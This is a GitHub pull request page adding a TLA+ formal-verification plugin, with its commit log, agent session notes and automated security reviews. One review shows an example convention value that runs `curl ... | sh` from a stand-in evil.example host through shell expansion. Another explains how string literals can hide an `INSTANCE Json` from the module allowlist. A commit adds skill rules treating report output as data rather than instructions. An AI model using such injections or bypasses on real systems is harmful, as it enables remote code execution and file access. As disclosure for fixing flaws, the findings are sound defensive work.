Repository navigation
feat(formal-verification): add the chart and setup skills and the formal-area contract - #16458
kyle-sexton wants to merge 35 commits into
Conversation
…chain scripts Register the formal-verification plugin (off by default) with its userConfig paths for the model checker jar, Java and the script runtime, prerequisites, README with the MIT notice for the carried statechart files, and the shared prerequisites and config-cascade copies. defaults.json holds the pins and bounds; scripts/settings.mjs resolves them through the consumer's docs/conventions/formal-verification.yaml. scripts/toolchain.mjs checks the toolchain, resolves it for the chart skill (blocked: toolchain missing when absent), and installs the pinned jar or renderer only when asked, keeping a download only when its checksum matches. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
reference/formal-skill.md names what a consumer's formal-<area> skill holds: frontmatter; the sections Property, Harm, Tool and why, Bounds and assumptions, Not covered, Run, Reading a result and Updating; one sync.yaml entry per check (id, covers, commit, command, seeded_break); model/view.mjs as the view file the chart reads; model files under model/ unless sync.yaml lists them; unattended writes confined to the folder and those paths. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Carry the pstack statechart skill's text and scripts at cursor/plugins@ec56937 as /formal-verification:chart. The scripts no longer install TLC or Java: statechart.ts takes --jar, --java, --chart-states and --rerun-states, run.ts drops the mise install path and reads no environment, the bounds default from defaults.json, and the launcher takes --runtime. The skill resolves the toolchain through scripts/toolchain.mjs and reports blocked: toolchain missing instead of installing. Her tests come along, changed only to pass the jar and Java as arguments and to find the renderer in a given folder instead of installing it. They are not run in this change: her code runs only after the per-group script review. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
/formal-verification:setup check reports the script runtime, Java, the model checker jar and the renderer, and the resolved pins and bounds. apply install-model-checker and apply install-renderer download the pinned file into the plugin data directory, keeping it only when its checksum matches; typing the subaction is the yes, and an unattended run installs nothing and reports blocked: toolchain missing. Java is never installed. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…laim-protocol The repository's first formal-<area> skill: a TLA+ model of one issue claimed at once by a local default claim, the issue lane's lease-only claim and a triage-phase claim on the GitHub adapter, with lease expiry, release and the completed-run rule. Each draft invariant quotes the tracker contract or claim.sh line it encodes. The model is not checked: the owner approves the invariants first. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…eams The pstack record's statechart, create- and maintain-formal-verification rows read adopted at ec56937961, with the copy decision and the rule that copied scripts diverge as ours and are re-taken only through the drift re-audit. The tlaplus/AgentSkills record carries the revised decision and attribution rows at its re-read pin, f2adb5e (unchanged at upstream HEAD): nothing taken in this slice. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…spelling lint The corpus report.md files are expected command output compared byte for byte, so a nested markdownlint config ignores them; two test lines whose fixture strings read as misspellings carry the typos disable-line directive. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…tended chart run One case runs bare setup and expects the read-only toolchain check with no install; one runs the chart skill unattended with no jar and expects blocked: toolchain missing and no install. The setup description fits the description budget, and the cheat sheet links the chart skill's pstack equivalent. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
cli.test.ts sent SIGKILL to Number(ps output); with ps missing that is pid 0, the whole test run's process group. The test and the helper script it writes now kill only a positive integer pid that is not their own. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…tions label.ts refused any label containing "undefined" or "NaN", so a model's own state text could fail with no view. The guard now applies only to a view's return values and matches the whole value. regions.ts dropped a step's region condition when its label ended in "]", so two arrows could merge or look the same; the condition is kept and lift.ts keys its merge on it, undefined included. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… releases.json A repository's docs/conventions/formal-verification.yaml could set the model checker's url and sha256 and the renderer's integrity, and a crafted version or package name could reach outside the data folder. URLs and checksums now live only in releases.json; a convention file that sets one is refused, and a version it chooses must have a pin there. Versions and package names are checked against patterns, every install target is asserted to stay under the data directory, downloads must be https and stop at a size cap and a timeout. defaults.json and the schema gain the chart limits (timeout, heap, output bytes, interval limit) and the allowed-modules list. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
TLC loaded Java from the spec's folder through -I and -DTLA-Library.
The chart command now copies only the folder's regular .tla files into
a fresh directory under its temp folder and points both there, with
tlc2.overrides.TLCOverrides set empty. Before any JVM starts it refuses
a folder holding a .class or .jar file, a module that shadows a
standard or generated module (or starts with _), a spec that uses a
generated name, a module outside the allowed-modules setting (Json and
similar modules touch the file system), and a spec whose name does not
end in .tla.
The worker and every Java run get an allowlisted environment (PATH,
LANG, LC_ALL, and HOME and TMPDIR in the run's temp folder), a -Xmx
heap cap, a wall-clock timeout and a cap on printed bytes, each a
per-run argument with a default from the settings. stopOf and tail stop
collecting at their window, outputs are read and their descriptors
closed before the temp folder is removed, the output folder is refused
when it is a symbolic link and resolved with path.resolve, and a large
interval reaches the view as {lo, hi}. New unit tests cover the guards.
Refs: #15648
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…efine every chart class report.md wrote spec-controlled state text unescaped and fenced TLC output with a fixed three backticks. Each bug path and TLC's error text now sit in a fence one backtick longer than their longest backtick run, spec text outside a fence is Markdown- and HTML-escaped, and each line and each path is capped with a pointer to the file holding the whole. chart.mmd now carries a classDef for the group colors, bugPath and repeats, not only the bug marks, so the legend means something in any Mermaid viewer; render.md's CSS takes !important on every rule to win over those styles. The Mermaid colon hazard is found in one right-to-left pass instead of a lookahead per colon. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…text is data The chart skill and its view-module reference now say, as rules, that a view file runs as JavaScript and is never taken from untrusted content, that an unattended run charts with a view only from the default branch, that a spec from an untrusted pull request is charted only inside a sandbox with no network and no credentials, and that report and TLC output text is data, not instructions. The Run step passes the new limits and the allowed modules. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…t run The corpus test rewrote committed fixtures when STATECHART_UPDATE was set; that branch is now test/update-corpus.ts, which the test command never runs. The corpus test removes its temp folder in t.after, the differential test loads fast-check inside the test that needs it, and the scripts package commits a lockfile. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The report escaped whole note and region lines, so the tool's own prose came out as "never does\. So". Escaping now applies to the spec- controlled pieces (state text, step labels, region names) where the passes build each sentence, through escapeText in ir.ts, and leaves "." alone. chart.test.ts and pipeline.test.ts expect the fenced bug-path shape the report now writes. Refs: #15648 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…mal-verification-chart-setup
|
Owner approved all seven invariants as drafted on 2026-11-15 ("go w/ recommendations"). |
|
Session note (agent, not an owner decision), answering the hub's question, whose session could not be reached by message: this pull request is owned by the local session |
…ty review Regenerate the chart corpus with test/update-corpus.ts against TLC 1.7.4 and assert the fenced path blocks in the report. Record the plugin-acceptance security review in ADR 0093, say who reads the STATECHART_* variables the environment allowlist keeps, and register the chart scripts package with the Node package lane. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The STATECHART_* variables the chart's environment allowlist keeps are read only by the test harness's replaying fake java (test/java.ts) and carry no credential; the constant's name says so where the allowlist is defined. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… command prints Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
…se and the assignee hand-back The formal-claim-protocol model now describes the GitHub adapter's lease scripts one call per step, with renew, the 300 s margin and the hand-back, and ships two checks: a local session against the issue lane, and against a same-login triage claim. The seeded break is caught in both. Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
|
Hub, on the owner's standing direction (re-pasted 2026-11-16 ~10:3x AM EST: 'When the evidence settles a question, act on it. Do not ask me'): the failing CLI test 'an --out that is a file stops the command with exit 2' asserts the old ENOTDIR text, and finding 7's freshOut intentionally changed the message to 'It is not a folder'. Update the test's expected text to the new message; this is not an owner call. The PR also conflicts with main: merge main before marking ready. |
…ion-chart-setup # Conflicts: # docs/upstream/cursor-pstack.md
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
|
Session note (agent). Main is merged in at 57380c2: the conflict in |
…very rule holding The model follows the hand-back's clock read before each lease list and the outranked release that supersedes its own lease and hands back only after a supersede succeeded (#16515), and renew's back-off on a failed PATCH near expiry (#16509). Line citations are at a548b3a. Both shipped cfgs hold every rule; the known results list the breaks left under each failure flag. Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
Codex Review Summary: ✅ CompletedThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
Lane run report
Failed GitHub API calls
|
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: bf5c619af2
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| { | ||
| "name": "formal-verification", | ||
| "source": "./plugins/formal-verification", | ||
| "category": "testing", | ||
| "tags": [ | ||
| "formal-verification", | ||
| "tla-plus", | ||
| "tlc", | ||
| "model-checking", | ||
| "statechart", | ||
| "mermaid", | ||
| "skill" | ||
| ], | ||
| "defaultEnabled": false | ||
| }, |
There was a problem hiding this comment.
manifest plugins[formal-verification]: flag, plugin entry added (source: ./plugins/formal-verification), opt-in
This adds a new marketplace entry. It sets "defaultEnabled": false (line 627), so the plugin's code runs only for users who enable it. Existing marketplace users get nothing new on update.
What an enabled user gets:
- Two skills.
/formal-verification:chartcan be invoked by the model (disable-model-invocation: false). It runs the copied TypeScript underskills/chart/scriptswith Node, Bun or Deno. That runs TLC (Java) on the spec, and runs the consumer's--viewfile as JavaScript in a worker./formal-verification:setup apply install-*downloads the pinnedtla2tools.jar(GitHub release) andpele-1.9.0.tgz(npm registry). Both are checksum-checked against the shippedreleases.jsonand written only under${CLAUDE_PLUGIN_DATA}.
The manifest adds no hooks, MCP, LSP or monitors. The owner accepted the remaining risk of charting an untrusted spec or view (ADR 0093 record).
severity: IMPORTANT
claude-lane: claude-security-review
| "model_checker_jar": { | ||
| "type": "file", | ||
| "title": "Model checker jar", | ||
| "description": "Path to tla2tools.jar, the TLC model checker. Unset uses the jar that setup installs under the plugin data directory." | ||
| }, |
There was a problem hiding this comment.
manifest userConfig.model_checker_jar: flag, file path passed to code
This is not a selector or an inert key: type is file, and the value reaches a script. In skills/chart/SKILL.md:30 it is interpolated as --jar '${user_config.model_checker_jar}' into the toolchain.mjs resolve Bash command, and then passed to statechart --jar, which hands it to Java as the TLC classpath.
In toolchain.mjs, a jar named by this option skips the SHA-256 pin. The pin applies only to the jar that setup installs. So whatever path the user sets is loaded as Java code.
The value is the user's own setting, so I found no attacker path. Two things to note: a path containing ' breaks the single quoting in that Bash line, and there is no checksum on a user-named jar.
severity: IMPORTANT
claude-lane: claude-security-review
| "java": { | ||
| "type": "file", | ||
| "title": "Java binary", | ||
| "description": "Path to the java binary that runs TLC. Unset uses java on PATH. The plugin never installs Java." | ||
| }, |
There was a problem hiding this comment.
manifest userConfig.java: flag, file path run as a binary
The value is executed as a binary:
toolchain.mjsprobeJavaspawns it with-version.- It is passed to
statechart --java, which runs TLC with it. - It reaches the session's Bash single-quoted (
--java '${user_config.java}',skills/chart/SKILL.md:30).
This is not a selector or an inert key. It is the user's own path, and I found no path for an attacker to set it. A value containing ' breaks the Bash quoting.
severity: IMPORTANT
claude-lane: claude-security-review
| "script_runtime": { | ||
| "type": "file", | ||
| "title": "Script runtime", | ||
| "description": "Path to the Node, Bun or Deno binary that runs the chart scripts. Unset lets the launcher pick the first supported one on PATH." | ||
| } |
There was a problem hiding this comment.
manifest userConfig.script_runtime: flag, file path run as a binary
The value is executed:
toolchain.mjsprobeRuntimespawns it with--version.- It is the runtime the chart launcher uses (
--runtime) to run the chart TypeScript. - It reaches Bash single-quoted (
--runtime '${user_config.script_runtime}',skills/chart/SKILL.md:30).
This is not a selector or an inert key. It is the user's own path, and I found no path for an attacker to set it. A value containing ' breaks the Bash quoting.
severity: IMPORTANT
claude-lane: claude-security-review
|
claude-security-review partial review of Chunk 1 of 12 (40 files)claude-security-review, chunk 1 of 12 (blocking only). Read all 40 files. 1 new inline finding: Manifest:
No finding:
Chunk 2 of 12 (40 files)claude-security-review, chunk 2 of 12 (the chart skill's
Checked, no new finding:
No manifest changes in this chunk. No cost hold. Chunk 3 of 12 (40 files)claude-security-review, chunk 3 of 12 (blocking only: this lane already reviewed earlier heads, so only CRITICAL and IMPORTANT findings are reported) No security issues found in this chunk. What the 40 files are:
What I checked:
No manifest, workflow, trust-control or instruction-surface files are in this chunk. Chunk 4 of 12 (40 files)claude-security-review, chunk 4 of 12: no security findings. Earlier heads of this PR were already reviewed, so this pass reports only CRITICAL and IMPORTANT findings. All 40 files in this chunk are new test-corpus fixtures for the chart scripts. They sit under
None of these paths is on the trusted-path list. Nothing here is executable or a manifest, and no workflow, hook, permission or instruction surface changes. What I checked:
Embedded text: none found in this chunk or in the PR-context, settled-threads or prior-findings files. Chunk 5 of 12 (40 files)claude-security-review, chunk 5 of 12: no security issues found. I read every hunk of all 40 files in this chunk. Each one is a new test fixture under
This review was blocking only (an earlier head was already reviewed). None of the prior findings is on a file in this chunk; they live in other chunks. Chunk 6 of 12 (40 files)claude-security-review, chunk 6 of 12 (blocking only: this lane already reviewed earlier heads, so only CRITICAL and IMPORTANT findings are reported) I read all 40 files in this chunk. They are new test-corpus fixtures under
No security issues found in this chunk.
Spend: none, and nothing in this chunk can start a charge. Chunk 7 of 12 (40 files)claude-security-review, chunk 7 of 12 (blocking only: this lane already reviewed earlier heads, so only CRITICAL and IMPORTANT findings would be posted.) I read all 40 files in this chunk and found no security issues. What the chunk holds: the chart skill's test corpus for
The earlier findings on Chunk 8 of 12 (18 files)claude-security-review, chunk 8 of 12 (blocking only: this lane already reviewed earlier heads of this PR) No security issues in this chunk. I read all 18 files. They are new test-corpus fixtures for the chart skill, under
What the files contain:
None of these files is a hook, workflow, manifest, trust control or standing instruction. None matches a trusted-path glob. No prior finding or settled thread is on a file in this chunk; the earlier findings are on files other chunks hold. Chunk 9 of 12 (17 files)claude-security-review, chunk 9 of 12 (blocking only: this lane already reviewed an earlier head) I found no security issues in this chunk. I read all 17 files. They are test corpus fixtures under
Checks I made:
Chunk 10 of 12 (38 files)claude-security-review, chunk 10 of 12: no security issues found. This was a blocking-only review: the lane already reviewed earlier heads, so it reports only CRITICAL and IMPORTANT findings. All 38 files in this chunk are new test-corpus fixtures under What was checked:
This lane's earlier findings on this PR concern files outside this chunk. Chunk 11 of 12 (26 files)claude-security-review, chunk 11 of 12: no security issues found. This was a blocking-only review: the lane already reviewed earlier heads. What this chunk holds. 26 added test-corpus fixtures for
Why nothing here is a finding.
Coverage: partial. I read 25 of the 26 files in full. Chunk 12 of 12 (23 files)claude-security-review, chunk 12 of 12 (blocking only: this lane reviewed earlier heads). No new security findings in this chunk's 23 files. What I checked:
This chunk touches no trust control, token scope, kill switch or merge hold. Spend: about 36 s more per Test Node CI run, on standard runners and existing Actions usage. Not a hold. critical-findings: 0 |
|
claude-review reviewed claude-review, incremental (0af0d1a → 9eb40bc), blocking only: this lane already reviewed an earlier head, so only blocking findings count. I read every hunk of all 8 files in this increment and found nothing blocking. What changed and what I checked:
Two earlier inline findings are still open. They are on Not verified: I ran nothing. The three-claimant count (202,568,284 states at a548b3a) and the test results are the author's claims. Spend: none in this increment. I found no embedded instructions in the PR context, settled-threads or prior-findings files. Verifier dropped 0 of 0 candidates. |
|
Session note (agent). Ready since 12:4x PM EST; red on three things, all being fixed in one push:
Owner, in session today: #16515 stays merged and this pull request merges with |
- run.ts resolves a relative --jar and --java before Java starts in its temp folder. - The launcher and toolchain.mjs apply the runtime version floors to a named --runtime too, for Node, Bun and Deno. - toolchain.mjs refuses a java.min_version that is not a whole number. - toolchain.mjs and settings.mjs run when reached through a symlink. - --timeout-seconds and timeout_seconds are capped at 2147483. - The eval graders match the quoted toolchain.mjs commands the skills run. - The claim-protocol view labels the hand-back's list states and the outranked release. - render.test.ts asserts the mermaid parse; the corpus graph.dot files, which TLC writes with no final newline, are exempt from that rule. Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
TLC writes each graph.dot with no final newline and the corpus tests compare the files byte for byte. The exclude moves from .editorconfig, a managed file, to the workflow step. Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
| export function stripComments(tla: string) { | ||
| let out = ""; | ||
| let depth = 0; | ||
| for (let i = 0; i < tla.length; i++) { | ||
| if (tla.startsWith("(*", i)) { | ||
| depth++; | ||
| i++; | ||
| } else if (depth && tla.startsWith("*)", i)) { | ||
| depth--; | ||
| i++; | ||
| } else if (!depth && tla.startsWith("\\*", i)) { | ||
| const end = tla.indexOf("\n", i); | ||
| if (end === -1) break; | ||
| i = end - 1; | ||
| } else if (!depth) out += tla[i]; | ||
| else if (tla[i] === "\n") out += "\n"; | ||
| } | ||
| return out; | ||
| } |
There was a problem hiding this comment.
The module allowlist can be bypassed with a string that contains (*.
stripComments does not know about TLA+ string literals. A (* inside a string opens a "comment" here, but SANY reads it as string text. Everything up to the next *), even one inside another string, is then dropped before referencedModules (line 79) scans for EXTENDS/INSTANCE.
Example spec:
---- MODULE Evil ----
EXTENDS Naturals
Open == "(*"
J == INSTANCE Json
Close == "*)"
...
====referencedModulesreturns only["Naturals"], so the check instageSpec(stage.ts, theallowed.includes(used)loop) passes.- SANY and TLC then load
Json, whose operators read and write files at any path the user can reach. - SANY accepts this layout: the PR's own
a "(*" stringtest case (Str, withOpen == "(*"…Close == "*)"and a declaration between them) passes.
This defeats the fix the PR lists as review finding #4. That fix is the guard that makes allowed_modules the user's trust lever. A string holding \* (for example "\\*") also hides the rest of its line. The same gap affects moduleName and usesGeneratedName.
Why IMPORTANT, not CRITICAL: under the owner's decision of 2026-11-15, untrusted specs are not a threat in this estate, and no lane or CI job runs TLC. So I found no attacker path to a leak, compromise or charge.
Fix: have stripComments copy string literals through unchanged. On " outside a comment, copy up to the closing unescaped ", stepping over each \ and the character after it. Add a guard test with INSTANCE Json placed between "(*" and "*)".
severity: IMPORTANT
claude-lane: claude-security-review
| out.push( | ||
| pathBlock(path, bug.rule.kind === "property" ? `tlc-${bug.rule.name}.out` : "tlc.out"), | ||
| ); |
There was a problem hiding this comment.
A cut-off invariant or deadlock path found in a later TLC run points to a file that doesn't have it.
For an invariant or deadlock, pathBlock names tlc.out as the place for the full path. When the path is longer than MAX_BUG_LINES (200), the block ends with ... N more steps; the full path is in tlc.out. Two things make that pointer wrong:
tlc.outisplainText(result.messages), andrun.tssetsmessages: messagesOf(judged.first.output). That is only the first verdict run. A rule that breaks inverdict-2or later has its trace only in that run's output.pipeline.ts:71-74writestlc-RULE.outonly for a broken rule that is not indrawn. Every non-property bug infoundis indrawn, so this rule gets no file of its own.
How it fails: take a config with two invariants. A breaks in the first run, and B breaks in the rerun with a shortest path over 200 steps. This is easy above the chart budget, where paths come straight from the counterexample and the rerun bound is 100,000 states. The report prints 200 steps of B, then points to tlc.out. But tlc.out holds A's trace, and the output folder has no tlc-B.out. The full counterexample is in no file. This also contradicts reference/read-report.md, which tells the reader where each path is.
Fix: in compile, also write tlc-${rule.name}.out for each broken rule whose verdict messages are not the first run's (or whose path is longer than MAX_BUG_LINES). Have pathBlock name that file whenever it exists. Add a CLI test with a rerun-found path over 200 steps that checks the named file exists and holds the trace.
claude-lane: claude-review
| ## Rules that hold | ||
| PicksFirst |
There was a problem hiding this comment.
This golden report says a liveness property holds when the spec violates it, and the corpus test locks that in.
Here is why PicksFirst == <>(First \in picked) is false:
- The cfg sets
Workers = {w1, w2}andFirst = w1. - Take the behavior
picked = {}→Pick(w2)→picked = {w2}, then stutter forever. - That behavior satisfies
Spec: once something is picked,Nextis disabled, soWF_picked(Next)holds. - In that behavior,
w1 \in pickedis never true.
TLC passes the property only because SYMMETRY Perms folds {w2} into {w1} (graph.dot shows both Pick edges reaching one {w1} node). First is a fixed model value, so the property is not symmetric under that permutation.
TLC warns about this. verdict-1.out records message 2279: "Declaring symmetry during liveness checking is dangerous. It might cause TLC to miss violations of the stated liveness properties." Nothing in the chart scripts reads 2279. The only SYMMETRY note in the report (backends/report.ts L141-146) is about arrows. L165 then puts every PROPERTY whose outcome is holds under "Rules that hold".
How it fails: run /formal-verification:chart on this corpus spec, or on any spec with both SYMMETRY and a PROPERTY. The command exits 0, and the report says the property holds, with nothing telling the user the result may be unsound. corpus.test.ts compares the output to this file byte for byte, so a fix that flagged the result would fail the test.
Fix: when TLC emits 2279, or whenever the cfg has SYMMETRY and any PROPERTY is checked, do not list those properties under "Rules that hold". Either list them under a caveat line telling the user to recheck liveness without SYMMETRY, or rerun the property groups without the SYMMETRY section. Then regenerate this golden.
claude-lane: claude-review
…found The fifth script group's review: the launcher names a rejected --runtime, escapeText folds line breaks, and the chart skill documents exit 127. The claim-protocol skill records the three-claimant run without renew and the source line behind EndStateReclaimable. The upstream record says the copy lacks the renderer fix of cursor/plugins#1236. The README no longer says the jar is undeclared. Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
| const { bounds, allowed_modules } = opts.settings; | ||
| console.log(JSON.stringify({ jar: found.jar, java: found.java, runtime: found.runtime, bounds, allowed_modules })); |
There was a problem hiding this comment.
resolve outputs repository-set bounds.heap and allowed_modules without checking them, and the chart skill has the model paste them into a Bash command.
The schema gives heap the pattern ^[1-9][0-9]*[kKmMgG]?$ and allowed_modules items no pattern at all. lib/config-cascade.mjs does not honor pattern (its header lists the subset it checks), so any string from the consumer's docs/conventions/formal-verification.yaml, or from its .local.yaml, reaches this JSON.
chart/SKILL.md step 2 then tells the model to build --heap <size> ... --modules <a,b> from these values inside a ```bash block. statechart.ts does re-check `--heap` and `--modules` (`^\w+(,\w+)*$`), but only after the shell has already expanded the line. Example:
bounds:
heap: "4g$(curl -s https://evil.example/x|sh)"Any repository the user charts in can put that value there. The command substitution runs before statechart.ts starts.
A second gap in the same data flow: the repository's file can also add Json (or any module) to allowed_modules. That turns off the module refusal the ADR 0093 record lists as a control, so the repository decides the trust choice the guard is meant to leave with the user.
Why IMPORTANT, not CRITICAL:
- The plugin is opt-in (
"defaultEnabled": false). - No lane or workflow runs the chart:
.github/names it only in the lint exclude. - In an attended session, the Bash call still goes through the user's permission prompt.
- The owner's 2026-11-15 decision puts untrusted repositories outside this estate's threat model.
Fix: in inspect/resolve, refuse values the way java.min_version already is:
- refuse a
heapthat fails^[1-9][0-9]*[kKmMgG]?$; - refuse an
allowed_modulesitem that fails^\w+$; - consider refusing, or at least naming, modules outside the shipped default list when the value comes from the repository layer.
In step 2, also have the skill single-quote every value it pastes into the command.
severity: IMPORTANT
claude-lane: claude-security-review
Closes #15648
Summary
Slice 1 of the
formal-verificationplugin: the chart and setup skills, the contract for a consumer'sformal-<area>skill, and this repository's first one, checked./formal-verification:chartcarries herstatechartskill (cursor/pluginspstack/skills/statechartatec569379616a4826b98f0f0a205dd3411b573611, MIT): TLA+ with TLC, a Mermaid chart, the shortest path to each broken rule./formal-verification:setupchecks the toolchain and, on a typedapply install-model-checkerorapply install-renderer, downloads the pinned file into the plugin data directory, keeping it only when its checksum matches.reference/formal-skill.mdis the contract for a consumer'sformal-<area>skill..claude/skills/formal-claim-protocol/is this repository's firstformal-<area>skill: a TLA+ model of the work-item tracker's claim protocol.Fix
plugins/formal-verification/withplugin.json(model_checker_jar,java,script_runtimeasuserConfigfile options), README with the MIT notice,prerequisites.json,defaults.json(her pins and bounds, plus the limits added in review),releases.json(the only home of download URLs and checksums),schemas/formal-verification.schema.json(keys of the consumer'sdocs/conventions/formal-verification.yaml), the sharedprerequisitesandconfig-cascadecopies,scripts/settings.mjsandscripts/toolchain.mjswith tests; marketplace entry (off by default), catalog, cheat sheet, fragment list, changelog fragment.sync.yamlentry per check (id,covers,commit,command,seeded_break);model/view.mjsas the view file; model files undermodel/unlesssync.yamllists them underoutside_model; unattended writes confined to the folder and those paths. Her "What makes it good" text is kept.SKILL.mdtext (including "Never weaken a rule to make it hold." and her "Write the spec" rules) split between the skill andreference/view-module.md,read-report.md,render.md; every file under herscripts/copied. Changed:statechart.tstakes--jar,--javaand the bounds and limits as arguments;run.tsdrops themiseinstall and reads no environment; the launcher takes--runtime; the review round below hardened the rest. The corpus fixtures are regenerated withtest/update-corpus.tsagainst TLC 1.7.4, and her tests assert the fenced path blocks of the current report.check(runtime, Java, jar with its pinned SHA-256, renderer, plus the declared prerequisites and the resolved settings);apply install-model-checkerandapply install-renderer; unattended installs nothing and reportsblocked: toolchain missing. Java is never installed.plugins/formal-verification/skills/chart/scriptsis registered inscripts/outside-node-packages.txt, so the Test Node lane runs itsnpm test. WithoutTLA2TOOLSevery TLC test skips, so the lane needs no Java.formal-verificationreview record.docs/upstream/cursor-pstack.mdrows forstatechart,create-formal-verification-skillandmaintain-formal-verification-skillread adopted at the pin, with the note that copied scripts diverge and are re-taken only through the drift re-audit;docs/upstream/tlaplus-agentskills.mdcarries the revised decision and three attribution rows at its re-read pinf2adb5e(unchanged at upstream HEAD).Review round: chart script findings
Five fresh-context reviewers each read every line of one group of the copied chart scripts: the first four at
43fba2c9189, the fifth at0af0d1aa8d9:statechart.ts,run.ts,worker.ts,toolchain.mjsmermaid.ts,report.ts,cfg.ts,plain-text.tsfrontends/passes/,test/ir.ts,pipeline.ts, thestatechartlauncher,package.json,tsconfig.json9eb40bc77e73(a rejected--runtimeis named,escapeTextfolds line breaks, exit 127 documented). Not changed:tsconfig.jsonnames@types/node, which is not installed, as upstream does; nothing runstscThe first four reviewers' findings, all 16, and the commit that addressed each:
.tlafiles are staged into a fresh folder that-Iand-DTLA-Librarypoint at;.class/.jarfiles, shadowing and generated module names refused before any JVM;-Dtlc2.overrides.TLCOverrides=empty (stage.ts,run.ts)146c03d13c2stage.tschildEnv), plus theSTATECHART_*variables, kept because only the test harness's replaying fakejava(test/java.ts) reads them and none carries a credential146c03d13c2,327bb34b7e7-Xmx, byte cap, each a setting and an argument;stopOfstops at 200 parts andtailkeeps a 1 MiB window; outputs are read and their descriptors closed before the temp folder is removed146c03d13c2(settings ind6a259c21af)allowed_modulessetting are refused, naming the module and why; checked on the staged text before SANY146c03d13c2chart/SKILL.mdandreference/view-module.md; the scrubbed worker environment is the second layer93f6a07ac30releases.json, a convention file that sets one is refused, versions and package names pattern-checked, install targets asserted under the data folder, https only, size cap and timeoutd6a259c21aflstatrefuses a link;path.resolve146c03d13c2SKILL.mdandread-report.mdb369b064acb,93f6a07ac30d851e211f22interval_maxthe view gets{lo, hi}146c03d13c2undefined/NaNrefused86427e41b1c86427e41b1c.tlafails; the staged folder is under the temp folder and is refused if it holds the separator146c03d13c2classDeffor every used class; one right-to-left passb369b064acbChartBound/ChartRun, or any use of a generated name, is refused with a message (names not suffixed, to keep her test harness's file names)146c03d13c2test/update-corpus.ts, never run by the test command;t.aftercleanup in the corpus test and the new tests; fast-check loaded inside its test;package-lock.jsoncommitteddb59e0fff71Run after the fixes:
test/update-corpus.tsregenerated all 33 corpus cases with TLC 1.7.4, and her whole suite ran with TLC (counts under Verification). The test "an --out that is a file stops the command with exit 2" asserted the oldENOTDIR: not a directorytext; it now expects finding 7's "It is not a folder" (d662a24980c). Her render tests (Pele and mermaid.js) were not run: they needSTATECHART_RENDER_DEPSwith pele, mermaid and jsdom installed.Audit her copy without a diff commit. Git blob ids are content hashes, so equal ids mean an unchanged file. List her files at the pin:
List the copy as committed in
647187aaff2:Fetch one of her files at the pin to diff by hand:
The regenerated fixture
.outfiles carry TLC's run header (kernel version, core count, heap, process id, timestamps) and temp-folder paths; no home folder or user path.Security posture
After this round:
.tlafiles, refuses Java code and file-touching modules, runs Java with a scrubbed environment, a heap cap, a timeout and an output cap, and writes only to a new output folder.releases.json, over https, size- and time-capped, written only under the plugin data directory, and only on a typedsetup apply install-*.Verification
node --test --test-concurrency=4 test/*.test.tsin the chart scripts folder,TLA2TOOLSset to tla2tools 1.7.4, Java Temurin 25.0.5):ENOTDIRtest above), 73 skipped (273 s). The 73 skips are the render tests.npm testwith noTLA2TOOLSand no Java on PATH, atbf5c619af20: 354 tests, 214 pass, 0 fail, 140 skipped (36 s).node --test plugins/formal-verification/scripts/toolchain.test.mjs: 18 pass, 0 fail (settings layering,blocked: toolchain missingwriting nothing, a repository URL/sha256/integrity refused, an unpinned version refused, traversal refused, https only, size cap by header and by bytes, timeout, checksum match kept and mismatch discarded).test/guard.test.ts: 20 pass, 0 fail (fences, escaping, caps, the colon scan in linear time, module and generated-name scanning, staging and its refusals, the environment allowlist, the output folder).scripts/validate-plugins.sh --only formal-verification: passes.scripts/check-affected.shin the pre-push hook: passes after mergingorigin/main./formal-verification:chartwith the verdicts under "Claim-protocol model"; raw TLC agrees on every rule. The seeded break is caught in both.Related
specifypropose, create, check), Add the formal-verification specify skill's refresh action #15775 (specifyrefresh).Claim-protocol model
The owner approved all seven invariants as drafted (2026-11-15). The model,
